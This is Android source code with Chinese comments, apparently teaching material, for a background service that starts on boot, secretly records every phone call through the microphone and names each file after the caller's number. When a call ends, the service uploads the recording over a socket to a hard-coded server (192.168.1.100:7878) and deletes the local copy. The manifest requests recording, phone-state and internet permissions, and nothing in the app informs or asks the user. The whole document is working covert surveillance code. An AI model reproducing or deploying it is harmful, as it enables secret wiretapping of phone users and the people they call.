服务
public class PhoneService extends Service { @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { super.onCreate(); TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);//创建电话管理器 telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);//为电话管理器设置电话监听器和监听的状态 } private final class PhoneListener extends PhoneStateListener{ private String incomingNumber; private File file; private MediaRecorder mediaRecorder; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_RINGING://来电 this.incomingNumber = incomingNumber; break; case TelephonyManager.CALL_STATE_OFFHOOK://接通电话 file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp"); mediaRecorder = new MediaRecorder();//创建录音的实例 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置录制麦的音 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置文件输出格式 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置音频编码 mediaRecorder.setOutputFile(file.getAbsolutePath());//设置文件输出路径 mediaRecorder.prepare();//准备录音 mediaRecorder.start();//开始录音 break; case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态 if(mediaRecorder != null){ mediaRecorder.stop();//停止录音 mediaRecorder.release();//释放录音对象 mediaRecorder = null; uploadFile(); //上传录音文件 } break; } } catch (Exception e) { e.printStackTrace(); } } private void uploadFile() { new Thread(new Runnable() { public void run() { try { if(file!=null && file.exists()){ Socket socket = new Socket("192.168.1.100", 7878); OutputStream outStream = socket.getOutputStream(); String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n"; outStream.write(head.getBytes()); PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); String response = StreamTool.readLine(inStream); String[] items = response.split(";"); String position = items[1].substring(items[1].indexOf("=")+1); RandomAccessFile fileOutStream = new RandomAccessFile(file, "r"); fileOutStream.seek(Integer.valueOf(position)); byte[] buffer = new byte[1024]; int len = -1; while( (len = fileOutStream.read(buffer)) != -1){ outStream.write(buffer, 0, len); } fileOutStream.close(); outStream.close(); inStream.close(); socket.close(); file.delete(); file = null; } } catch (Exception e) { e.printStackTrace(); } } }).start(); } } }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.phonelistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <!-- 配置服务 --> <service android:name=".PhoneService"/> <!-- 配置广播接收者 --> <receiver android:name=".BootBroadcastReceiver"> <intent-filter > <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> </application> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 在SDCard中创建与删除文件权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <!-- 往SDCard写入数据权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <!-- 访问internet权限 --> <uses-permission android:name="android.permission.INTERNET"/> <!-- 录音的权限--> <uses-permission android:name="android.permission.RECORD_AUDIO"/> </manifest>
public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //在开机的时候显示启动服务 Intent service = new Intent(context, PhoneService.class);//显式/隐式 context.startService(service);//Intent激活组件(Service) } }